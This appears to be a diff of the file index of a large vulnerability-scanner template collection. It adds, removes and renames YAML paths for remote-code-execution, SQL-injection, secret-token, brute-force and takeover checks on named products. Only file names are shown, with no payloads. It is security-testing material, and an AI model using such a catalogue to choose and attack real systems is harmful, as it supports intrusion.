./poc/remote_code_execution/salesforce-aura-misconfig.yaml +./poc/remote_code_execution/salesforce-aura.yaml ./poc/remote_code_execution/salesforce-credentials-detect.yml ./poc/remote_code_execution/salesforce-login.yaml ./poc/remote_code_execution/salesforce-misconfiguration.yaml @@ -84010,9 +84505,8 @@ ./poc/remote_code_execution/samsung-wlan-ap-rce-10005.yaml ./poc/remote_code_execution/samsung-wlan-ap-rce-10006.yaml ./poc/remote_code_execution/samsung-wlan-ap-rce-10007.yaml -./poc/remote_code_execution/samsung-wlan-ap-rce-10008.yaml +./poc/remote_code_execution/samsung-wlan-ap-rce-10009.yaml ./poc/remote_code_execution/samsung-wlan-ap-rce-10010.yaml -./poc/remote_code_execution/samsung-wlan-ap-rce.yaml ./poc/remote_code_execution/samsung-wlan-ap-wea453e-rce.yaml ./poc/remote_code_execution/samsung-wlan-ap-wea453e-rce.yml ./poc/remote_code_execution/sanfor-report-rce.yaml @@ -84021,7 +84515,6 @@ ./poc/remote_code_execution/sangfor-ad-login-rce.yaml ./poc/remote_code_execution/sangfor-ad-rce.yaml ./poc/remote_code_execution/sangfor-ba-rce(1).yaml -./poc/remote_code_execution/sangfor-ba-rce-10020.yaml ./poc/remote_code_execution/sangfor-ba-rce-10021.yaml ./poc/remote_code_execution/sangfor-ba-rce.yml ./poc/remote_code_execution/sangfor-cphp-rce.yaml @@ -84043,14 +84536,12 @@ ./poc/remote_code_execution/saphali-woocommerce-lite.yaml ./poc/remote_code_execution/sapido-router-rce.yaml ./poc/remote_code_execution/sar2html-rce-10079.yaml -./poc/remote_code_execution/sar2html-rce-10080.yaml ./poc/remote_code_execution/sar2html-rce-10081.yaml ./poc/remote_code_execution/sar2html-rce-10082.yaml -./poc/remote_code_execution/sar2html-rce.yaml ./poc/remote_code_execution/satellian-cve-2020-7980-rce.yml ./poc/remote_code_execution/seacms-before-v992-rce.yaml ./poc/remote_code_execution/seacms-before-v992-rce.yml -./poc/remote_code_execution/seacms-rce-10100.yaml +./poc/remote_code_execution/seacms-rce-10101.yaml ./poc/remote_code_execution/seacms-rce-10102.yaml ./poc/remote_code_execution/seacms-rce.yml ./poc/remote_code_execution/seacms-v654-rce.yaml @@ -84065,9 +84556,7 @@ ./poc/remote_code_execution/seowon-router-rce-10145.yaml ./poc/remote_code_execution/seowon-router-rce-10146.yaml ./poc/remote_code_execution/seowon-router-rce-10147.yaml -./poc/remote_code_execution/seowon-router-rce-10148.yaml ./poc/remote_code_execution/seowon-router-rce-10149.yaml -./poc/remote_code_execution/seowon-router-rce.yaml ./poc/remote_code_execution/sequential-order-numbers-for-woocommerce-055e1820b3e7ef430034aac2fbd3cb4b.yaml ./poc/remote_code_execution/sequential-order-numbers-for-woocommerce.yaml ./poc/remote_code_execution/seraphinite-post-docx-source-f2d8f8d2c4e6280eff69b405edf187e8.yaml @@ -84085,7 +84574,6 @@ ./poc/remote_code_execution/shop-as-a-customer-for-woocommerce-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/remote_code_execution/shop-as-a-customer-for-woocommerce-plugin.yaml ./poc/remote_code_execution/shop-as-a-customer-for-woocommerce.yaml -./poc/remote_code_execution/showdoc-file-upload-rce-10225.yaml ./poc/remote_code_execution/showdoc-file-upload-rce-10226.yaml ./poc/remote_code_execution/showdoc-file-upload-rce-10227.yaml ./poc/remote_code_execution/showdoc-file-upload-rce-10228.yaml @@ -84096,7 +84584,7 @@ ./poc/remote_code_execution/side-cart-woocommerce.yaml ./poc/remote_code_execution/simple-e-commerce-shopping-cart-7e2981ed79fe5531ebd17112083654eb.yaml ./poc/remote_code_execution/simple-e-commerce-shopping-cart.yaml -./poc/remote_code_execution/simple-employee-rce-10279.yaml +./poc/remote_code_execution/simple-employee-rce-10280.yaml ./poc/remote_code_execution/simple-employee-rce.yaml ./poc/remote_code_execution/simple-woocommerce-csv-loader-ad18054d9efe7d6c6e0c45866e8bcf30.yaml ./poc/remote_code_execution/simple-woocommerce-csv-loader.yaml @@ -84142,17 +84630,19 @@ ./poc/remote_code_execution/splash-popup-for-woocommerce.yaml ./poc/remote_code_execution/spon-ip-intercom-ping-rce.yaml ./poc/remote_code_execution/spon-ip-intercom-ping-rce.yml -./poc/remote_code_execution/spon-ip-rce.yaml +./poc/remote_code_execution/spon-ip-rce(1).yaml ./poc/remote_code_execution/sponip-network-system-ping-rce-10421.yaml ./poc/remote_code_execution/sponip-network-system-ping-rce-10422.yaml ./poc/remote_code_execution/sponip-network-system-ping-rce-10423.yaml +./poc/remote_code_execution/spring-functions-rce.yaml +./poc/remote_code_execution/springboot-h2-db-rce-10454.yaml ./poc/remote_code_execution/springboot-h2-db-rce-10455.yaml ./poc/remote_code_execution/springboot-h2-db-rce-10456.yaml ./poc/remote_code_execution/springboot-h2-db-rce-10457.yaml -./poc/remote_code_execution/springboot-h2-db-rce-10458.yaml ./poc/remote_code_execution/springboot-log4j-rce-10472.yaml ./poc/remote_code_execution/springboot-log4j-rce-10473.yaml ./poc/remote_code_execution/springboot-log4j-rce-10474.yaml +./poc/remote_code_execution/springboot-log4j-rce.yaml ./poc/remote_code_execution/springboot2.x_eureka_rce.yaml ./poc/remote_code_execution/springboot_eureka_rce.yaml ./poc/remote_code_execution/springcloud-function-spel-rce.yaml @@ -84219,7 +84709,7 @@ ./poc/remote_code_execution/swipehq-payment-gateway-woocommerce.yaml ./poc/remote_code_execution/swipehq-payment-gateway-wp-e-commerce-443842d1d8712ea7662492da3baca3c2.yaml ./poc/remote_code_execution/swipehq-payment-gateway-wp-e-commerce.yaml -./poc/remote_code_execution/symfonyrce(1).yaml +./poc/remote_code_execution/symfonyrce.yaml ./poc/remote_code_execution/sync-ecommerce-neo-6477bf18cad6c823db485408d49b337b.yaml ./poc/remote_code_execution/sync-ecommerce-neo-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/remote_code_execution/sync-ecommerce-neo.yaml @@ -84241,8 +84731,8 @@ ./poc/remote_code_execution/thinkcmf-rce-10726.yaml ./poc/remote_code_execution/thinkcmf-rce-10727.yaml ./poc/remote_code_execution/thinkcmf-rce-10728.yaml -./poc/remote_code_execution/thinkcmf-rce-10729.yaml ./poc/remote_code_execution/thinkcmf-rce.yaml +./poc/remote_code_execution/thinkphp-2-rce-10738.yaml ./poc/remote_code_execution/thinkphp-2-rce-10739.yaml ./poc/remote_code_execution/thinkphp-2-rce-10740.yaml ./poc/remote_code_execution/thinkphp-2-rce-10741.yaml @@ -84254,7 +84744,6 @@ ./poc/remote_code_execution/thinkphp-5022-5129-rce.yaml ./poc/remote_code_execution/thinkphp-5022-rce-10744.yaml ./poc/remote_code_execution/thinkphp-5022-rce-10745.yaml -./poc/remote_code_execution/thinkphp-5022-rce-10746.yaml ./poc/remote_code_execution/thinkphp-5022-rce-10747.yaml ./poc/remote_code_execution/thinkphp-5023-rce-10749.yaml ./poc/remote_code_execution/thinkphp-5023-rce-10750.yaml @@ -84332,7 +84821,6 @@ ./poc/remote_code_execution/visual-tools-dvr-rce.yaml ./poc/remote_code_execution/vmware-horizon-log4j-jndi-rce-11033.yaml ./poc/remote_code_execution/vmware-horizon-log4j-jndi-rce-11034.yaml -./poc/remote_code_execution/vmware-horizon-log4j-jndi-rce.yaml ./poc/remote_code_execution/vmware-horizon-log4j-rce.yaml ./poc/remote_code_execution/vmware-vcenter-cve-2021-21985-rce.yml ./poc/remote_code_execution/vmware-vcenter-log4j-jndi-rce-11049.yaml @@ -84340,11 +84828,9 @@ ./poc/remote_code_execution/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml ./poc/remote_code_execution/vmware-workspace-one-log4j-rce.yaml ./poc/remote_code_execution/voiprce(1).yaml -./poc/remote_code_execution/voiprce.yaml ./poc/remote_code_execution/vrealize-operations-log4j-rce-11070.yaml ./poc/remote_code_execution/vrealize-operations-log4j-rce-11071.yaml ./poc/remote_code_execution/vrealize-operations-log4j-rce-11072.yaml -./poc/remote_code_execution/vrealize-operations-log4j-rce.yaml ./poc/remote_code_execution/waitlist-woocommerce-1e2ad2a10918e60801ce854af7dd4e85.yaml ./poc/remote_code_execution/waitlist-woocommerce-5ad2792bfde16c3909ed962131732d36.yaml ./poc/remote_code_execution/waitlist-woocommerce-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -84370,10 +84856,12 @@ ./poc/remote_code_execution/webappick-product-feed-for-woocommerce-ef466bbf7b36c7f4169533ec1161bc46.yaml ./poc/remote_code_execution/webappick-product-feed-for-woocommerce.yaml ./poc/remote_code_execution/webmin-cve-2019-15107-rce.yml +./poc/remote_code_execution/webpack-sourcemap.yaml ./poc/remote_code_execution/webui-rce-11170.yaml ./poc/remote_code_execution/webui-rce-11171.yaml ./poc/remote_code_execution/webui-rce-11172.yaml ./poc/remote_code_execution/webui-rce-11173.yaml +./poc/remote_code_execution/webui-rce-11174.yaml ./poc/remote_code_execution/weight-based-shipping-for-woocommerce-03810ee843c54e70aa66a159f989ab60.yaml ./poc/remote_code_execution/weight-based-shipping-for-woocommerce.yaml ./poc/remote_code_execution/wholesale-market-for-woocommerce-49f637412267dd9ff3581b0711c3545a.yaml @@ -84843,6 +85331,7 @@ ./poc/remote_code_execution/woocommerce-multilingual-23565c076dae93b6c6dc9680f6949564.yaml ./poc/remote_code_execution/woocommerce-multilingual-62ea23506eec109e5fa431decb71560c.yaml ./poc/remote_code_execution/woocommerce-multilingual.yaml +./poc/remote_code_execution/woocommerce-multiple-customer-addresses-e58fd6fc55781d41aa60974eac75f757.yaml ./poc/remote_code_execution/woocommerce-ninjaforms-product-addons-fe7479a6b6025e86397ca09e26459aa3.yaml ./poc/remote_code_execution/woocommerce-ninjaforms-product-addons.yaml ./poc/remote_code_execution/woocommerce-one-page-checkout-0fb2ac203a6e2b270723afe1dd3e678a.yaml @@ -85122,6 +85611,7 @@ ./poc/remote_code_execution/wordpress-emails-verification-for-woocommerce.yaml ./poc/remote_code_execution/wordpress-ext-mailpress-rce.yaml ./poc/remote_code_execution/wordpress-ext-mailpress-rce.yml +./poc/remote_code_execution/wordpress-rce-simplefilelist-11299.yaml ./poc/remote_code_execution/wordpress-rce-simplefilelist-11300.yaml ./poc/remote_code_execution/wordpress-rce-simplefilelist-11301.yaml ./poc/remote_code_execution/wordpress-rce-simplefilelist-11302.yaml @@ -85130,11 +85620,10 @@ ./poc/remote_code_execution/wordpress-rce-simplefilelist.yaml ./poc/remote_code_execution/wordpress-simplefilelist-rce.yaml ./poc/remote_code_execution/wordpress-woocommerce-listing-11338.yaml +./poc/remote_code_execution/wordpress-woocommerce-listing-11339.yaml ./poc/remote_code_execution/wordpress-woocommerce-listing-11340.yaml -./poc/remote_code_execution/wordpress-woocommerce-listing-11341.yaml ./poc/remote_code_execution/wordpress-woocommerce-sqli-1.yaml ./poc/remote_code_execution/wordpress-woocommerce-sqli-11342.yaml -./poc/remote_code_execution/wordpress-woocommerce-sqli-11343.yaml ./poc/remote_code_execution/wordpress-woocommerce-sqli-11344.yaml ./poc/remote_code_execution/wordpress-woocommerce-sqli-11345.yaml ./poc/remote_code_execution/wordpress-woocommerce-sqli-2.yaml @@ -85143,8 +85632,8 @@ ./poc/remote_code_execution/wordpress-xmlrpc-bruteforce.yaml ./poc/remote_code_execution/wordpress_bricks_builder_rce_cve_2024_25600.yaml ./poc/remote_code_execution/workflow-yongyon-nc-rce.yaml +./poc/remote_code_execution/workresources-rdp-11380.yaml ./poc/remote_code_execution/workresources-rdp-11381.yaml -./poc/remote_code_execution/workresources-rdp-11382.yaml ./poc/remote_code_execution/workresources-rdp.yaml ./poc/remote_code_execution/wp-e-commerce-035deac96e6eaf13a7e5a19222a3b271.yaml ./poc/remote_code_execution/wp-e-commerce-038257aaa9ba0979bc30c40f623bded3.yaml @@ -85210,6 +85699,7 @@ ./poc/remote_code_execution/wp-woocommerce-email-verification-1.yaml ./poc/remote_code_execution/wp-woocommerce-email-verification-11615.yaml ./poc/remote_code_execution/wp-woocommerce-email-verification-11616.yaml +./poc/remote_code_execution/wp-woocommerce-email-verification-11617.yaml ./poc/remote_code_execution/wp-woocommerce-email-verification-11618.yaml ./poc/remote_code_execution/wp-woocommerce-email-verification-11619.yaml ./poc/remote_code_execution/wp-woocommerce-email-verification-2.yaml @@ -85221,6 +85711,7 @@ ./poc/remote_code_execution/wp-woocommerce-quickbooks-e2b56e01ba06c66b8d53d40581b73ce6.yaml ./poc/remote_code_execution/wp-woocommerce-quickbooks.yaml ./poc/remote_code_execution/wp-xmlrpc-brute-force-11623.yaml +./poc/remote_code_execution/wp-xmlrpc-brute-force-11624.yaml ./poc/remote_code_execution/wp-xmlrpc-brute-force.yaml ./poc/remote_code_execution/wp-xmlrpc-bruteforce.yaml ./poc/remote_code_execution/xforwoocommerce-6cf1075ce9f91e03833516f283694012.yaml @@ -85231,6 +85722,8 @@ ./poc/remote_code_execution/xml-file-export-import-for-stampscom-and-woocommerce.yaml ./poc/remote_code_execution/yapi-rce-11724.yaml ./poc/remote_code_execution/yapi-rce-11725.yaml +./poc/remote_code_execution/yapi-rce-11726.yaml +./poc/remote_code_execution/yapi-rce.yaml ./poc/remote_code_execution/yapi-rce.yml ./poc/remote_code_execution/yarn-resourcemanager-rce-11735.yaml ./poc/remote_code_execution/yarn-resourcemanager-rce-11736.yaml @@ -85569,8 +86062,8 @@ ./poc/remote_code_execution/zzzcms-parser-search-rce.yaml ./poc/ruby/grails-database-admin-console-1.yaml ./poc/ruby/grails-database-admin-console-2.yaml +./poc/ruby/grails-database-admin-console-7819.yaml ./poc/ruby/grails-database-admin-console-7820.yaml -./poc/ruby/grails-database-admin-console-7821.yaml ./poc/ruby/grails-database-admin-console-7822.yaml ./poc/ruby/grails-database-admin-console.yaml ./poc/ruby/graphql-ruby-detect.yaml @@ -85578,21 +86071,22 @@ ./poc/ruby/rails-database-config-9801.yaml ./poc/ruby/rails-database-config-9803.yaml ./poc/ruby/rails-database-config-9804.yaml -./poc/ruby/rails-database-config.yaml ./poc/ruby/rails-debug-mode-9805.yaml -./poc/ruby/rails-debug-mode-9806.yaml +./poc/ruby/rails-debug-mode-9807.yaml ./poc/ruby/rails-debug-mode.yaml ./poc/ruby/rails-routes-exposed.yaml ./poc/ruby/rails-secret-token-disclosure-9808.yaml -./poc/ruby/rails-secret-token-disclosure-9809.yaml +./poc/ruby/rails-secret-token-disclosure-9810.yaml ./poc/ruby/rails-secret-token-disclosure.yaml ./poc/ruby/rails-secret-token.yaml ./poc/ruby/rails6-xss-9797.yaml +./poc/ruby/rails6-xss-9798.yaml ./poc/ruby/rails6-xss-9799.yaml ./poc/ruby/rails6-xss-9800.yaml ./poc/ruby/ruby-help-desk-5db1ed033cd24d9fe5ecb1550e63481d.yaml ./poc/ruby/ruby-help-desk.yaml ./poc/ruby/ruby-on-rails-framework-exceptions-9921.yaml +./poc/ruby/ruby-on-rails-framework-exceptions.yaml ./poc/ruby/ruby-on-rails-secret-token-disclosure.yaml ./poc/ruby/ruby-on-rails.yaml ./poc/ruby/ruby-open-rce.yaml @@ -85601,8 +86095,9 @@ ./poc/ruby/xss-rails-post.yaml ./poc/samba/samba-config-9985.yaml ./poc/samba/samba-config-9986.yaml +./poc/samba/samba-config-9987.yaml ./poc/samba/samba-detect-9988.yaml -./poc/samba/samba-detect-9990.yaml +./poc/samba/samba-detect-9989.yaml ./poc/samba/samba-detect.yaml ./poc/samba/samba-swat-panel-9992.yaml ./poc/samba/samba-swat-panel.yaml @@ -85649,20 +86144,21 @@ ./poc/sap/sap-netweaver-as-java-detect.yaml ./poc/sap/sap-netweaver-detect-10042.yaml ./poc/sap/sap-netweaver-detect-10043.yaml +./poc/sap/sap-netweaver-detect-10044.yaml ./poc/sap/sap-netweaver-detect-10046.yaml -./poc/sap/sap-netweaver-detect-10047.yaml ./poc/sap/sap-netweaver-detect-10048.yaml ./poc/sap/sap-netweaver-detect.yaml ./poc/sap/sap-netweaver-info-leak-10049.yaml ./poc/sap/sap-netweaver-info-leak-10050.yaml ./poc/sap/sap-netweaver-info-leak-10052.yaml -./poc/sap/sap-netweaver-portal-10053.yaml +./poc/sap/sap-netweaver-info-leak.yaml ./poc/sap/sap-netweaver-portal-10054.yaml +./poc/sap/sap-netweaver-portal-10055.yaml ./poc/sap/sap-netweaver-portal.yaml ./poc/sap/sap-netweaver-rce.yaml ./poc/sap/sap-netweaver-webgui-10056.yaml ./poc/sap/sap-netweaver-webgui-10057.yaml -./poc/sap/sap-netweaver-webgui-10058.yaml +./poc/sap/sap-netweaver-webgui-10059.yaml ./poc/sap/sap-netweaver-workflow-10060.yaml ./poc/sap/sap-netweaver-workflow-10061.yaml ./poc/sap/sap-netweaver-workflow.yaml @@ -85673,8 +86169,8 @@ ./poc/sap/sap-recon-detect-10062.yaml ./poc/sap/sap-recon-detect-10063.yaml ./poc/sap/sap-recon-detect.yaml +./poc/sap/sap-redirect-10064.yaml ./poc/sap/sap-redirect-10065.yaml -./poc/sap/sap-redirect-10066.yaml ./poc/sap/sap-redirect-10067.yaml ./poc/sap/sap-router-info-leak.yaml ./poc/sap/sap-router.yaml @@ -85683,14 +86179,15 @@ ./poc/sap/sap-sybase.yaml ./poc/sap/sap-web-application-server.yaml ./poc/sap/sap-web-dispatcher-10074.yaml -./poc/sap/sap-web-dispatcher-10075.yaml ./poc/sap/sap-web-dispatcher-10076.yaml ./poc/sap/sap-web-dispatcher-10077.yaml +./poc/sap/sap-web-dispatcher-10078.yaml ./poc/sap/sap-web-dispatcher-admin-portal-10069.yaml ./poc/sap/sap-web-dispatcher-admin-portal-10070.yaml -./poc/sap/sap-web-dispatcher-admin-portal-10071.yaml ./poc/sap/sap-web-dispatcher-admin-portal-10072.yaml ./poc/sap/sap-web-dispatcher-admin-portal-10073.yaml +./poc/sap/sap-web-dispatcher-admin-portal.yaml +./poc/sap/sap-web-dispatcher.yaml ./poc/sap/sapfiori-panel-1.yaml ./poc/sap/sapfiori-panel-10033.yaml ./poc/sap/sapfiori-panel-2.yaml @@ -85898,7 +86395,7 @@ ./poc/search/elasticsearch-1.yaml ./poc/search/elasticsearch-2.yaml ./poc/search/elasticsearch-5-version.yaml -./poc/search/elasticsearch-7193.yaml +./poc/search/elasticsearch-7194.yaml ./poc/search/elasticsearch-7195.yaml ./poc/search/elasticsearch-7196.yaml ./poc/search/elasticsearch-7197.yaml @@ -85915,8 +86412,8 @@ ./poc/search/elasticsearch-log4j.yaml ./poc/search/elasticsearch-sql-client-detect-7189.yaml ./poc/search/elasticsearch-sql-client-detect-7190.yaml -./poc/search/elasticsearch-sql-client-detect-7191.yaml ./poc/search/elasticsearch-sql-client-detect-7192.yaml +./poc/search/elasticsearch-sql-client-detect.yaml ./poc/search/elasticsearch-unauth.yaml ./poc/search/elasticsearch-unauth.yml ./poc/search/elasticsearch-unauthorized-access.yaml @@ -85968,7 +86465,6 @@ ./poc/search/jet-search-6751f202896ab60f3c60e989a27f32bf.yaml ./poc/search/jet-search-f381131e4a3085b05f5e843c3ac61f71.yaml ./poc/search/jet-search.yaml -./poc/search/jolokia-mbean-search-8362.yaml ./poc/search/jolokia-mbean-search-8363.yaml ./poc/search/jolokia-mbean-search.yaml ./poc/search/landray-oa-syssearchmain-rce.yaml @@ -85979,6 +86475,7 @@ ./poc/search/live-search-xforwc-e7d05b0a2c85ee1ade7bf5ca69c912bf.yaml ./poc/search/live-search-xforwc.yaml ./poc/search/manage-engine-ad-search-8733.yaml +./poc/search/meilisearch-detect.yaml ./poc/search/predictive-search-0cf50064291ac9de617b4097519a9b8d.yaml ./poc/search/predictive-search-0ee427e44c54afcbc6e923ab42dcbb65.yaml ./poc/search/predictive-search-53dfbcad0780c76e9cad2e9b4c4b88cf.yaml @@ -86219,7 +86716,6 @@ ./poc/sensitive/sensitive-storage-exposure-4.yaml ./poc/sensitive/sensitive-storage-exposure-5.yaml ./poc/sensitive/sensitive-storage-exposure-6.yaml -./poc/sensitive/sensitive-storage-exposure.yaml ./poc/sensitive/sensitives.yaml ./poc/sensitive/typo3-sensitive-files.yaml ./poc/sensitive/wordpress-sensitive-config.yaml @@ -86235,7 +86731,6 @@ ./poc/sensitive/zenphoto-sensitive-info-4.yaml ./poc/sensitive/zenphoto-sensitive-info.yaml ./poc/sharepoint/exposed-sharepoint-list-7344.yaml -./poc/sharepoint/exposed-sharepoint-list-7345.yaml ./poc/sharepoint/exposed-sharepoint-list-7346.yaml ./poc/sharepoint/exposed-sharepoint-list-7347.yaml ./poc/sharepoint/microsoft-sharepoint.yaml @@ -86248,22 +86743,21 @@ ./poc/shopify/import-shopify-to-woocommerce.yaml ./poc/shopify/seoking-shopify-app.yaml ./poc/shopify/shopify-app-installer.yaml -./poc/shopify/shopify-custom-token(1).yaml -./poc/shopify/shopify-custom-token-10198.yaml +./poc/shopify/shopify-custom-token-11860.yaml ./poc/shopify/shopify-custom-token.yaml ./poc/shopify/shopify-legacy-private-app-token.yaml +./poc/shopify/shopify-private-token(1).yaml ./poc/shopify/shopify-private-token-10199.yaml -./poc/shopify/shopify-private-token-11861.yaml ./poc/shopify/shopify-private-token.yaml ./poc/shopify/shopify-public-access.yaml ./poc/shopify/shopify-shared-secret-11862.yaml ./poc/shopify/shopify-shared-secret.yaml +./poc/shopify/shopify-takeover-10201.yaml ./poc/shopify/shopify-takeover-10202.yaml ./poc/shopify/shopify-takeover-10203.yaml -./poc/shopify/shopify-takeover-10204.yaml ./poc/shopify/shopify-takeover.yaml +./poc/shopify/shopify-token(1).yaml ./poc/shopify/shopify-token-10205.yaml -./poc/shopify/shopify-token-11863.yaml ./poc/shopify/shopify-token.yaml ./poc/shopify/wpshopify-4052cae896aee1e1f03c5c40f3545719.yaml ./poc/shopify/wpshopify-6df087a86fe2a146356cefcdc927d828.yaml @@ -86301,6 +86795,7 @@ ./poc/smtp/fluent-smtp-9cf8fafd63ba25b0026079b7736ef163.yaml ./poc/smtp/fluent-smtp.yaml ./poc/smtp/msmtp-config-8966.yaml +./poc/smtp/msmtp-config-8967.yaml ./poc/smtp/post-smtp-01bed4d8fc18f92e932ac3e1e0f4f5cb.yaml ./poc/smtp/post-smtp-1c60fa32acf2539fdc2944eaf19fbe1e.yaml ./poc/smtp/post-smtp-20b5a1223c8140b840ffff5422240c1d.yaml @@ -86453,7 +86948,7 @@ ./poc/social/alpine-photo-tile-for-instagram-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/social/alpine-photo-tile-for-instagram-plugin.yaml ./poc/social/alpine-photo-tile-for-instagram.yaml -./poc/social/api-facebook.yaml +./poc/social/api-facebook-422.yaml ./poc/social/api-instagram.yaml ./poc/social/api-linkedin.yaml ./poc/social/api-twitter-507.yaml @@ -86825,7 +87320,6 @@ ./poc/social/kiwi-social-share.yaml ./poc/social/lazy-facebook-comments-869b4c99b310f9132fffb57ed8a544a0.yaml ./poc/social/lazy-facebook-comments.yaml -./poc/social/linkedin-client-id.yaml ./poc/social/linkedin-id.yaml ./poc/social/linkedin-phish.yaml ./poc/social/linkedin.yaml @@ -86915,6 +87409,7 @@ ./poc/social/sassy-social-share-10084.yaml ./poc/social/sassy-social-share-10085.yaml ./poc/social/sassy-social-share-10086.yaml +./poc/social/sassy-social-share-10087.yaml ./poc/social/sassy-social-share-380a93a6eb0678027b6e7c5b3db32454.yaml ./poc/social/sassy-social-share-5d7eeac9d47ec654e4d9145037a7ff62.yaml ./poc/social/sassy-social-share-5d9f6b221c4bba02420d23f606a1608b.yaml @@ -87076,6 +87571,7 @@ ./poc/social/social-rocket-35eeaa89a3b4639b9adda8371e061a49.yaml ./poc/social/social-rocket-4ff7fa7d485e0082c6f9eaa536635afb.yaml ./poc/social/social-rocket-888ac27aa72e08304dd95645769d827b.yaml +./poc/social/social-rocket-c769c373bb9f1ffe92fbf49a67c167c6.yaml ./poc/social/social-rocket-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/social/social-rocket-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/social/social-rocket-plugin.yaml @@ -87405,7 +87901,7 @@ ./poc/sql/74cms-sqli-2.yaml ./poc/sql/74cms-sqli-2.yml ./poc/sql/74cms-sqli-8.yaml -./poc/sql/74cms-sqli-9.yaml +./poc/sql/74cms-sqli.yaml ./poc/sql/74cms-sqli.yml ./poc/sql/74cms_V3-plusa-sqli.yaml ./poc/sql/74cms_v4-register-sqli.yaml @@ -88978,10 +89474,14 @@ ./poc/sql/CVE-2024-3494-017e89c448b8fd66914e6e8dbd00a570.yaml ./poc/sql/CVE-2024-3551-0d7e6cb775c3492510f079db3bf5c609.yaml ./poc/sql/CVE-2024-35637-4ffa8bdd3fa94b04f78111aedbde0572.yaml +./poc/sql/CVE-2024-35672-486db9c86df3e8118b4d673efcb7bc70.yaml +./poc/sql/CVE-2024-3592-db8d56b4ffd71be1964e8f686279beb9.yaml +./poc/sql/CVE-2024-3594-36d7fb83c790460bdb8c61a1e30649d8.yaml ./poc/sql/CVE-2024-3595-ae707ffdb0b84fee78545094f31fab5f.yaml ./poc/sql/CVE-2024-3615-ace711afc4272dadad85592b05bdb42c.yaml ./poc/sql/CVE-2024-3634-f57f9dab722fcd5a2c272745fd2bfdbc.yaml ./poc/sql/CVE-2024-3637-00630e7f63285d0deee6771e11c16dbe.yaml +./poc/sql/CVE-2024-3644-9f7a970dbcd282a4ee231b0a1cc7dd4e.yaml ./poc/sql/CVE-2024-3648-878adb5945961035fb765b8b45027a66.yaml ./poc/sql/CVE-2024-3664-deb11912ff3d2208242b76566e91d4db.yaml ./poc/sql/CVE-2024-3666-5076756317edfc235b845db17943ad41.yaml @@ -88991,6 +89491,7 @@ ./poc/sql/CVE-2024-3748-31b09dfbf1b3276476df3f754a6db443.yaml ./poc/sql/CVE-2024-3893-62dee86dfa8b2ac0c61db54fa3f621bf.yaml ./poc/sql/CVE-2024-3920-a6c2a7283db2f5361993ecb6735124d0.yaml +./poc/sql/CVE-2024-3921-dbf397a500a6ba8db425a10054860f95.yaml ./poc/sql/CVE-2024-3926-afadb218804cdf862cb2355eadd9debd.yaml ./poc/sql/CVE-2024-3940-c77e604f97e35956017cf6a68db15f39.yaml ./poc/sql/CVE-2024-3952-e82e7f7b55b1a2cdb9c63c74403002dd.yaml @@ -89010,6 +89511,7 @@ ./poc/sql/CVE-2024-4344-c795caf4db9f9f708810052f2a459981.yaml ./poc/sql/CVE-2024-4346-3eb448297924902e8da132dbf247a5c3.yaml ./poc/sql/CVE-2024-4347-058d731900c2db8ba3484ed32650ada1.yaml +./poc/sql/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml ./poc/sql/CVE-2024-4364-f208f0865f4a44a2342b54d4abb07dbb.yaml ./poc/sql/CVE-2024-4373-5c7117dbe0556218acb32a392006ba15.yaml ./poc/sql/CVE-2024-4379-d382cca3643543985dbbe7ea0eb4c13b.yaml @@ -89020,6 +89522,7 @@ ./poc/sql/CVE-2024-4419-ffe62a02e8677da1ebc809cb0f4c4fdb.yaml ./poc/sql/CVE-2024-4433-07e1423c97de42e699dbac97bfd4d906.yaml ./poc/sql/CVE-2024-4440-9f922de9f42804a7971705edbc6681e1.yaml +./poc/sql/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml ./poc/sql/CVE-2024-4444-4d17135ea7db2127267d00cbde8518bf.yaml ./poc/sql/CVE-2024-4474-3fdc2b02e0fdb355f4143f761414c9da.yaml ./poc/sql/CVE-2024-4481-aa517db4044b4fad334a71010ed60d74.yaml @@ -89230,6 +89733,7 @@ ./poc/sql/PbootCMS-ext_price-SQL.yaml ./poc/sql/PbootCMS-search-SQL.yaml ./poc/sql/Qibocms-SQLi.yaml +./poc/sql/SQLInjection_ERROR.yaml ./poc/sql/SQL_injection-Authentification.yaml ./poc/sql/SQL_injection-Error.yaml ./poc/sql/SQL_injection-Numeric.yaml @@ -89329,13 +89833,15 @@ ./poc/sql/adaptive-images-6cb178fb7dba11c392a882a5aa3528e4.yaml ./poc/sql/adaptive-images-a8360d2b8db5465d06a1177b81db0e77.yaml ./poc/sql/adaptive-images-d5d7320d5d056e2a3cdb2f7eac52cfae.yaml +./poc/sql/adb-backup-enabled-60.yaml ./poc/sql/adb-backup-enabled-61.yaml ./poc/sql/adb-backup-enabled-62.yaml -./poc/sql/adb-backup-enabled-63.yaml ./poc/sql/adb-backup-enabled.yaml ./poc/sql/adbConnect.yaml ./poc/sql/adbhoney-detection-cnxn.yaml ./poc/sql/adbhoney-detection-shell.yaml +./poc/sql/adbhoney-honeypot-cnxn-detect.yaml +./poc/sql/adbhoney-honeypot-shell-detect.yaml ./poc/sql/adblock-notify-by-bweb-09712df89f849ba85b08f5f0deb0865b.yaml ./poc/sql/adblock-notify-by-bweb.yaml ./poc/sql/add-actions-and-filters-2062b3d0152716b08dbb9bcc487575a6.yaml @@ -89517,10 +90023,10 @@ ./poc/sql/an-gradebook-3452006dbf36b206342c119e2952b83d.yaml ./poc/sql/analytics-cat-6a104a419d0f6e33363f034daa5db799.yaml ./poc/sql/analytics-insights-a52a48fcebcdb3625a324cff9c9c4abe.yaml +./poc/sql/android-debug-database-exposed-312.yaml ./poc/sql/android-debug-database-exposed-313.yaml ./poc/sql/android-debug-database-exposed-314.yaml ./poc/sql/android-debug-database-exposed-315.yaml -./poc/sql/android-debug-database-exposed-316.yaml ./poc/sql/android-debug-database-exposed.yaml ./poc/sql/anfrageformular-6477bf18cad6c823db485408d49b337b.yaml ./poc/sql/animate-everything-6477bf18cad6c823db485408d49b337b.yaml @@ -89884,7 +90390,8 @@ ./poc/sql/chameleon-css-3726db4d685f3b9bf48ad4097d8a06be.yaml ./poc/sql/chamilo-lms-sqli-1.yaml ./poc/sql/chamilo-lms-sqli-2.yaml -./poc/sql/chamilo-lms-sqli-892.yaml 